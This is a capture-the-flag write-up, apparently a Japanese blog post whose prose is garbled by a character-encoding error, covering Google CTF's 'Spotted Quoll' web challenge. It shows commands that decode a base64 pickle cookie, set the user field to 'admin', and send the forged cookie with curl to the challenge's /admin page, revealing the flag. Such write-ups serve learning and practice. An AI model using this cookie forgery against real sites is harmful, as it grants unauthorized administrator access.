Google Capture the Flagã«åå ãã
https://capturetheflag.withgoogle.com/rulesã«åå ãã¾ããã
ãã¼ã ã¯Route9ãé ä½ã¯147ä½ã§ãããï¼å¾ç¹ã®ãããã¼ã æ°ã911/ç»é²ãã¼ã ã¯2395)
ãããåã¯1åãã解ããããããFlagã®ã³ããããã¦ãªãã¨ãããªãã¨ãæããæãã«ã»ã»ã»ã
åä¾ã®ç¸æãã¦ãã¨æéã足ããªããã ï¼(è¨ã訳)
Web 50points Spotted Quoll
ãµã¤ãã®/adminã«ã¢ã¯ã»ã¹ããåé¡
ãµã¤ãã«ã¢ã¯ã»ã¹ããæç¹ã§å¤ãªã¯ããã¼ãã¤ãã¦ã¾ãã
Cookie obsoletePickle=KGRwMQpTJ3B5dGhvbicKcDIKUydwaWNrbGVzJwpwMwpzUydzdWJ0bGUnCnA0ClMnaGludCcKcDUKc1MndXNlcicKcDYKTnMu
Base64ãã³ã¼ãããã¨ä»¥ä¸ã®æååã«
>>> import base64 >>> print base64.b64decode("KGRwMQpTJ3B5dGhvbicKcDIKUydwaWNrbGVzJwpwMwpzUydzdWJ0bGUnCnA0ClMnaGludCcKcDUKc1MndXNlcicKcDYKTnMu") (dp1 S'python' p2 S'pickles' p3 sS'subtle' p4 S'hint' p5 sS'user' p6 Ns.
python pickleã§æ¤ç´¢ããã¨pythonã®ã©ã¤ãã©ãªãã²ã£ãããã¾ããããªãã¸ã§ã¯ãã®ã·ãªã¢ã©ã¤ãºããã¦ããããã®ããããRubyã®Marshalã¿ãããªãã®ããªã¨ã
å
ã»ã©ã®æååãpickleã§ãã·ãªã¢ã©ã¤ãºãã¾ãã
(ãã®æpickleããã®ã¾ã¾importããã¨ãã·ãªã¢ã©ã¤ãºæã®æ°åã0ããå§ã¾ã£ã¦ãã¾ãæå¾
éãã«ããã¾ãã)
>>> import cPickle pickle >>> pickle.loads(base64.b64decode("KGRwMQpTJ3B5dGhvbicKcDIKUydwaWNrbGVzJwpwMwpzUydzdWJ0bGUnCnA0ClMnaGludCcKcDUKc1MndXNlcicKcDYKTnMu")) {'python': 'pickles', 'subtle': 'hint', 'user': None}
userã«å
¥ãã¦ãã ããã¨è¨ããã°ãã(ç¬)ã
ãªã®ã§userã«adminãå
¥ãã¦ã·ãªã¢ã©ã¤ãºããå®éã«æããã¨ããFlagãåãã¾ããã
>>> base64.b64encode(pickle.dumps(s)) 'KGRwMQpTJ3B5dGhvbicKcDIKUydwaWNrbGVzJwpwMwpzUydzdWJ0bGUnCnA0ClMnaGludCcKcDUKc1MndXNlcicKcDYKUydhZG1pbicKcDcKcy4=' $ curl -k https://spotted-quoll.ctfcompetition.com/admin -H "Cookie:obsoletePickle=KGRwMQpTJ3B5dGhvbicKcDIKUydwaWNrbGVzJwpwMwpzUydzdWJ0bGUnCnA0ClMnaGludCcKcDUKc1MndXNlcicKcDYKUydhZG1pbicKcDcKcy4=" Your flag is CTF{but_wait,theres_more.if_you_call} ... but is there more(1)? or less(1)?